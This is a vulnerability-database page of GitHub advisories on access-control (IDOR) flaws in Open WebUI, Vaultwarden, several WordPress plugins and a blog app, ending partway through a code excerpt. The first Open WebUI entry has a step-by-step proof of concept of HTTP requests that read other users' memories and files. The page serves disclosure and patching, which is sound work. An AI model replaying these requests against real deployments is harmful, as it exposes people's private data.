Vulnerability-Lookup

GHSA-W9F8-GXF9-RHVW

Vulnerability from github – Published: 2026-03-27 15:35 – Updated: 2026-03-27 15:35

Summary

Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

Details

Summary

Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details

Vulnerability 1: Missing authorization in collection querying

In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),  # Only checks authentication, not authorization
):

Collection names follow predictable patterns: - User files: file-{FILE_UUID} - User memories: user-memory-{USER_UUID} (requires Memory experimental feature)

PoC

Environment: Open WebUI v0.8.3, default configuration. Setup: 1. Register two users: admin (first user) and attacker (second user). 2. As admin, upload a PDF document through chat. 3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation — Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>

Response reveals all users including admin's UUID, email, and role:

{
  "users": [
    {
      "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
      "name": "user",
      "email": "user@test.com",
      "role": "user"
    },
    {
      "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
      "name": "admin",
      "email": "admin@test.com",
      "role": "admin"
    }
  ]
}

1poc - users

Exploitation — Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["user-memory-<admin_UUID_from_step_1>"],
  "query": "test"
}

Response returns admin's private memories:

{
  "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}

2poc - memory

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation — Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["file-<file_UUID>"],
  "query": "test"
}

Response returns admin's private document content and full metadata:

{
  "documents": [["Test PDF  \nabc   \nbcd"]],
  "metadatas": [[{
    "name": "Test PDF.pdf",
    "author": "Mariusz Maik",
    "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
    "file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
  }]]
}

Impact

Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search.
Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
No admin privileges required: A regular user account is sufficient to exploit all of the above.

Suggested Fix

1. Add ownership validation in /api/v1/retrieval/query/collection:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),
):
    for collection_name in form_data.collection_names:
        if collection_name.startswith("user-memory-"):
            owner_id = collection_name.replace("user-memory-", "")
            if owner_id != user.id and user.role != "admin":
                raise HTTPException(status_code=403, detail="Access denied")
        elif collection_name.startswith("file-"):
            file_id = collection_name.replace("file-", "")
            # user_has_access_to_file — placeholder; verify file ownership
            # e.g. check if created_by matches user.id
            if not user_has_access_to_file(user.id, file_id):
                raise HTTPException(status_code=403, detail="Access denied")

2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.

Disclosure

AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.

Severity

3.1 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T15:35:49Z",
    "nvd_published_at": "2026-03-27T00:16:22Z",
    "severity": "LOW"
  },
  "details": "### Summary\nAny authenticated user can read other users\u0027 private memories via `/api/v1/retrieval/query/collection`\n\n### Details\n**Vulnerability 1: Missing authorization in collection querying**\n\nIn `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),  # Only checks authentication, not authorization\n):\n```\n\nCollection names follow predictable patterns:\n- User files: `file-{FILE_UUID}`\n- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)\n\n### PoC\n**Environment:** Open WebUI v0.8.3, default configuration.\n**Setup:**\n1. Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings \u2192 Personalization \u2192 Memory) and add some memories.\n\n**Exploitation \u2014 Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\n```\n\nResponse reveals all users including admin\u0027s UUID, email, and role:\n\n```json\n{\n  \"users\": [\n    {\n      \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n      \"name\": \"user\",\n      \"email\": \"user@test.com\",\n      \"role\": \"user\"\n    },\n    {\n      \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n      \"name\": \"admin\",\n      \"email\": \"admin@test.com\",\n      \"role\": \"admin\"\n    }\n  ]\n}\n```\n\n\u003cimg width=\"1340\" height=\"731\" alt=\"1poc - users\" src=\"https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9\" /\u003e\n\n**Exploitation \u2014 Step 2: Read admin\u0027s memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"user-memory-\u003cadmin_UUID_from_step_1\u003e\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private memories:\n\n```json\n{\n  \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n\u003cimg width=\"1285\" height=\"606\" alt=\"2poc - memory\" src=\"https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082\" /\u003e\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation \u2014 Step 3: Read admin\u0027s private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"file-\u003cfile_UUID\u003e\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private document content and full metadata:\n\n```json\n{\n  \"documents\": [[\"Test PDF  \\nabc   \\nbcd\"]],\n  \"metadatas\": [[{\n    \"name\": \"Test PDF.pdf\",\n    \"author\": \"Mariusz Maik\",\n    \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n    \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n  }]]\n}\n```\n\n\u003cimg width=\"1413\" height=\"908\" alt=\"image\" src=\"https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596\" /\u003e\n\n### Impact\n-  **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user \u2014 directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),\n):\n    for collection_name in form_data.collection_names:\n        if collection_name.startswith(\"user-memory-\"):\n            owner_id = collection_name.replace(\"user-memory-\", \"\")\n            if owner_id != user.id and user.role != \"admin\":\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n        elif collection_name.startswith(\"file-\"):\n            file_id = collection_name.replace(\"file-\", \"\")\n            # user_has_access_to_file \u2014 placeholder; verify file ownership\n            # e.g. check if created_by matches user.id\n            if not user_has_access_to_file(user.id, file_id):\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.",
  "id": "GHSA-w9f8-gxf9-rhvw",
  "modified": "2026-03-27T15:35:49Z",
  "published": "2026-03-27T15:35:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29071"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI\u0027s Insecure Direct Object Reference (IDOR) allows access to other users\u0027 memories"
}

GHSA-W9F8-M526-H7FH

Vulnerability from github – Published: 2026-03-04 20:14 – Updated: 2026-03-04 20:14

Summary

Vaultwarden has Unauthorized Access via Partial Update API on Another User’s Cipher

Details

Summary

In the test environment, it was confirmed that an authenticated regular user can specify another user’s cipher_id and call:

PUT /api/ciphers/{id}/partial

Even though the standard retrieval API correctly denies access to that cipher, the partial update endpoint returns 200 OK and exposes cipherDetails (including name, notes, data, secureNote, etc.).

Description

put_cipher_partial retrieves the target Cipher but does not perform ownership or access control checks before returning to_json. Authorization checks present in the normal update API are missing here. src/api/core/ciphers.rs:717

let Some(cipher) = Cipher::find_by_uuid(&cipher_id, &conn).await else {
    err!("Cipher doesn't exist")
};

if let Some(ref folder_id) = data.folder_id {
    if Folder::find_by_uuid_and_user(folder_id, &headers.user.uuid, &conn).await.is_none() {
        err!("Invalid folder", "Folder does not exist or belongs to another user");
    }
}

// Move cipher
cipher.move_to_folder(data.folder_id.clone(), &headers.user.uuid, &conn).await?;

// Update favorite
cipher.set_favorite(Some(data.favorite), &headers.user.uuid, &conn).await?;

Ok(Json(cipher.to_json(&headers.host, &headers.user.uuid, None, CipherSyncType::User, &conn).await?))

By comparison, the standard update API includes an explicit authorization check: src/api/core/ciphers.rs:688

if !cipher.is_write_accessible_to_user(&headers.user.uuid, &conn).await {
    err!("Cipher is not write accessible")
}

The to_json method does not abort processing when access restrictions are not met; instead, it proceeds to construct and return a detailed response. src/db/models/cipher.rs:175

let (read_only, hide_passwords, _) = if sync_type == CipherSyncType::User {
    match self.get_access_restrictions(user_uuid, cipher_sync_data, conn).await {
        Some((ro, hp, mn)) => (ro, hp, mn),
        None => {
            error!("Cipher ownership assertion failure");
            (true, true, false)
        }
    }
} else {
    (false, false, false)
};

src/db/models/cipher.rs:335

let mut json_object = json!({
    "object": "cipherDetails",
    "id": self.uuid,
    "type": self.atype,
    ...
    "name": self.name,
    "notes": self.notes,
    "fields": fields_json,
    "data": data_json,
    ...
});

Preconditions

The attacker possesses a valid regular-user JWT (Bearer token).
The attacker knows the target (victim) cipher_id.

Steps to Reproduce

Prepare the attacker JWT and victim cipher_id (preconditions).
Baseline check: confirm that standard retrieval is denied.
Execute the vulnerable API. Confirm that 200 OK is returned and that cipherDetails includes fields such as id, name, notes, secureNote, etc.

Potential Impact

Unauthorized disclosure of other users’ cipher information (confidentiality breach).
Creation of unauthorized associations within the attacker’s user context (e.g., favorite or folder operations).
The response from /api/ciphers/<cipher_id>/partial includes attachments[].url.

In filesystem (FS) deployments, this returns a tokenized endpoint such as:

/attachments/<cipher>/<file>?token=...

In object storage deployments, it returns a short-lived pre-signed URL.

As a result, an attacker can use these URLs to directly download attachment data that they are not authorized to access.

This can lead to disclosure of sensitive information stored in the Vault, including personal data and authentication credentials. Such exposure may further result in account compromise, lateral movement, and other secondary impacts.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.35.3"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "vaultwarden"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.35.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:14:06Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIn the test environment, it was confirmed that an authenticated regular user can specify another user\u2019s `cipher_id` and call:\n\n```\nPUT /api/ciphers/{id}/partial\n```\n\nEven though the standard retrieval API correctly denies access to that cipher, the partial update endpoint returns **200 OK** and exposes `cipherDetails` (including `name`, `notes`, `data`, `secureNote`, etc.).\n\n\n\n## Description\n\n`put_cipher_partial` retrieves the target Cipher but does **not perform ownership or access control checks** before returning `to_json`.\nAuthorization checks present in the normal update API are missing here.\nsrc/api/core/ciphers.rs:717\n\n```rust\nlet Some(cipher) = Cipher::find_by_uuid(\u0026cipher_id, \u0026conn).await else {\n    err!(\"Cipher doesn\u0027t exist\")\n};\n\nif let Some(ref folder_id) = data.folder_id {\n    if Folder::find_by_uuid_and_user(folder_id, \u0026headers.user.uuid, \u0026conn).await.is_none() {\n        err!(\"Invalid folder\", \"Folder does not exist or belongs to another user\");\n    }\n}\n\n// Move cipher\ncipher.move_to_folder(data.folder_id.clone(), \u0026headers.user.uuid, \u0026conn).await?;\n\n// Update favorite\ncipher.set_favorite(Some(data.favorite), \u0026headers.user.uuid, \u0026conn).await?;\n\nOk(Json(cipher.to_json(\u0026headers.host, \u0026headers.user.uuid, None, CipherSyncType::User, \u0026conn).await?))\n```\n\nBy comparison, the standard update API includes an explicit authorization check:\nsrc/api/core/ciphers.rs:688\n\n```rust\nif !cipher.is_write_accessible_to_user(\u0026headers.user.uuid, \u0026conn).await {\n    err!(\"Cipher is not write accessible\")\n}\n```\n\nThe `to_json` method does not abort processing when access restrictions are not met; instead, it proceeds to construct and return a detailed response.\nsrc/db/models/cipher.rs:175\n\n```rust\nlet (read_only, hide_passwords, _) = if sync_type == CipherSyncType::User {\n    match self.get_access_restrictions(user_uuid, cipher_sync_data, conn).await {\n        Some((ro, hp, mn)) =\u003e (ro, hp, mn),\n        None =\u003e {\n            error!(\"Cipher ownership assertion failure\");\n            (true, true, false)\n        }\n    }\n} else {\n    (false, false, false)\n};\n```\nsrc/db/models/cipher.rs:335\n\n```rust\nlet mut json_object = json!({\n    \"object\": \"cipherDetails\",\n    \"id\": self.uuid,\n    \"type\": self.atype,\n    ...\n    \"name\": self.name,\n    \"notes\": self.notes,\n    \"fields\": fields_json,\n    \"data\": data_json,\n    ...\n});\n```\n\n\n## Preconditions\n\n* The attacker possesses a valid regular-user JWT (Bearer token).\n* The attacker knows the target (victim) `cipher_id`.\n\n\n## Steps to Reproduce\n\n1. Prepare the attacker JWT and victim `cipher_id` (preconditions).\n2. Baseline check: confirm that standard retrieval is denied.\n\u003cimg width=\"2014\" height=\"855\" alt=\"image\" src=\"https://github.com/user-attachments/assets/32b12cc9-3672-4a88-afd0-ef7715474662\" /\u003e\n\n\n3. Execute the vulnerable API. Confirm that **200 OK** is returned and that `cipherDetails` includes fields such as `id`, `name`, `notes`, `secureNote`, etc.\n\u003cimg width=\"2018\" height=\"1113\" alt=\"image\" src=\"https://github.com/user-attachments/assets/341b330c-8d55-4f06-a622-0d7da28f62fd\" /\u003e\n\n\n## Potential Impact\n\n* Unauthorized disclosure of other users\u2019 cipher information (confidentiality breach).\n* Creation of unauthorized associations within the attacker\u2019s user context (e.g., `favorite` or folder operations).\n* The response from `/api/ciphers/\u003ccipher_id\u003e/partial` includes `attachments[].url`.\n\nIn filesystem (FS) deployments, this returns a tokenized endpoint such as:\n\n```\n/attachments/\u003ccipher\u003e/\u003cfile\u003e?token=...\n```\n\nIn object storage deployments, it returns a short-lived pre-signed URL.\n\nAs a result, an attacker can use these URLs to directly download attachment data that they are not authorized to access.\n\nThis can lead to disclosure of sensitive information stored in the Vault, including personal data and authentication credentials. Such exposure may further result in account compromise, lateral movement, and other secondary impacts.",
  "id": "GHSA-w9f8-m526-h7fh",
  "modified": "2026-03-04T20:14:06Z",
  "published": "2026-03-04T20:14:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-w9f8-m526-h7fh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dani-garcia/vaultwarden"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vaultwarden has Unauthorized Access via Partial Update API on Another User\u2019s Cipher"
}

GHSA-W9GM-5X7R-8V42

Vulnerability from github – Published: 2026-08-16 06:30 – Updated: 2026-08-16 06:30

Details

The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.6.12.10 via the ssa_past_appointments due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to access appointment records belonging to arbitrary users and harvest the per-appointment ownership tokens (32-character hashes) embedded in the rendered HTML, which can then be used without any authentication to read or modify those appointments including full customer PII such as name, email, phone number, and private notes. The /wp-json/ssa/v1/render-shortcode REST endpoint is registered unconditionally on rest_api_init regardless of whether the Divi theme is installed, and its permission callback only requires current_user_can('edit_posts'), meaning any Contributor-level account is sufficient to trigger this entire exploit chain.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

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{
  "affected": [],
  "aliases": [
    "CVE-2026-13358"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-16T05:16:46Z",
    "severity": "MODERATE"
  },
  "details": "The Appointment Booking Calendar \u2014 Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.6.12.10 via the ssa_past_appointments due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to access appointment records belonging to arbitrary users and harvest the per-appointment ownership tokens (32-character hashes) embedded in the rendered HTML, which can then be used without any authentication to read or modify those appointments including full customer PII such as name, email, phone number, and private notes. The /wp-json/ssa/v1/render-shortcode REST endpoint is registered unconditionally on rest_api_init regardless of whether the Divi theme is installed, and its permission callback only requires current_user_can(\u0027edit_posts\u0027), meaning any Contributor-level account is sufficient to trigger this entire exploit chain.",
  "id": "GHSA-w9gm-5x7r-8v42",
  "modified": "2026-08-16T06:30:24Z",
  "published": "2026-08-16T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13358"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.11.0/includes/class-appointment-model.php#L1936"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.11.0/includes/class-db-model.php#L325"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.11.0/includes/class-divi.php#L237"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.11.0/includes/class-divi.php#L254"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.11.0/includes/class-shortcodes.php#L781"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.12.4/includes/class-appointment-model.php#L1936"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.12.4/includes/class-db-model.php#L325"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.12.4/includes/class-divi.php#L237"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.12.4/includes/class-divi.php#L254"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.12.4/includes/class-shortcodes.php#L781"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3617759%40simply-schedule-appointments\u0026new=3617759%40simply-schedule-appointments"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5dbe5094-d255-46b1-9e8e-9c48cd74e8a2?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W9H3-3453-P323

Vulnerability from github – Published: 2024-11-28 18:38 – Updated: 2024-11-28 18:38

Details

The Restaurant & Cafe Addon for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.5.9 via the 'narestaurant_elementor_template' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-10780"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-28T10:15:05Z",
    "severity": "MODERATE"
  },
  "details": "The Restaurant \u0026 Cafe Addon for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.5.9 via the \u0027narestaurant_elementor_template\u0027 shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.",
  "id": "GHSA-w9h3-3453-p323",
  "modified": "2024-11-28T18:38:36Z",
  "published": "2024-11-28T18:38:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10780"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3197286%40restaurant-cafe-addon-for-elementor\u0026new=3197286%40restaurant-cafe-addon-for-elementor\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a8c29cbd-6c39-4a54-a2a2-bc4c8feeeb70?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W9WH-97QP-XQ2V

Vulnerability from github – Published: 2023-11-21 00:30 – Updated: 2023-11-21 00:30

Details

Dev blog v1.0 allows to exploit an account takeover through the "user" cookie. With this, an attacker can access any user's session just by knowing their username.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2023-6144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-21T00:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "Dev blog v1.0 allows to exploit an account takeover through the \"user\" cookie. With this, an attacker can access any user\u0027s session just by knowing their username.\n",
  "id": "GHSA-w9wh-97qp-xq2v",
  "modified": "2023-11-21T00:30:27Z",
  "published": "2023-11-21T00:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6144"
    },
    {
      "type": "WEB",
      "url": "https://fluidattacks.com/advisories/almighty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Armanidrisi/devblog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCG8-G6M5-JGH5

Vulnerability from github – Published: 2026-02-14 09:31 – Updated: 2026-02-14 09:31

Details

The Scheduler Widget plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 0.1.6. This is due to the scheduler_widget_ajax_save_event() function lacking proper authorization checks and ownership verification when updating events. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify any event in the scheduler via the id parameter granted they have knowledge of the event ID.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

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{
  "affected": [],
  "aliases": [
    "CVE-2026-1987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-14T07:16:12Z",
    "severity": "MODERATE"
  },
  "details": "The Scheduler Widget plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 0.1.6. This is due to the `scheduler_widget_ajax_save_event()` function lacking proper authorization checks and ownership verification when updating events. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify any event in the scheduler via the `id` parameter granted they have knowledge of the event ID.",
  "id": "GHSA-wcg8-g6m5-jgh5",
  "modified": "2026-02-14T09:31:34Z",
  "published": "2026-02-14T09:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1987"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/639.html"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/862.html"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/scheduler-widget/tags/0.1.6/scheduler-widget.php#L158"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/scheduler-widget/trunk/scheduler-widget.php#L158"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fd5f370c-743f-41f1-80ab-7f0805cae38c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCH8-MHJ5-9FRG

Vulnerability from github – Published: 2026-06-17 14:11 – Updated: 2026-07-20 21:03

Summary

Open WebUI: Cross-user file disclosure via /api/chat/completions image_url field

Details

summary

POST /api/chat/completions accepts an image_url.url value that, when it does NOT start with http://, https://, or data:image/, is interpreted as a file id and resolved against the global file table with no ownership check. An authenticated user can therefore set image_url.url to another user's file id, the server reads that file from disk, base64-encodes it, and injects the data URI into the LLM request. The user then prompts the LLM to describe / OCR the file and reads the content back.

Same class as CVE-2026-44560 (RAG cross-user access) and the multiple has_access_to_file checks added in routers/files.py -- the auth boundary was tightened on the file router but not on this conversion path.

affected code

backend/open_webui/utils/middleware.py:2113-2150 -- convert_url_images_to_base64:

async def convert_url_images_to_base64(form_data):
    messages = form_data.get('messages', [])
    for message in messages:
        content = message.get('content')
        if not isinstance(content, list):
            continue
        new_content = []
        for item in content:
            if not isinstance(item, dict) or item.get('type') != 'image_url':
                new_content.append(item)
                continue
            image_url = item.get('image_url', {}).get('url', '')
            if image_url.startswith('data:image/'):
                new_content.append(item)
                continue
            try:
                base64_data = await get_image_base64_from_url(image_url)  # <-- no `user` passed
                if base64_data:
                    new_content.append({'type': 'image_url',
                                        'image_url': {'url': base64_data}})

called from the main chat completion middleware at middleware.py:2357:

form_data = await convert_url_images_to_base64(form_data)

backend/open_webui/utils/files.py:57-95 -- get_image_base64_from_url:

async def get_image_base64_from_url(url: str) -> Optional[str]:
    try:
        if url.startswith('http'):
            validate_url(url)
            # ... SSRF-safe fetch with allow_redirects=AIOHTTP_CLIENT_ALLOW_REDIRECTS ...
        else:
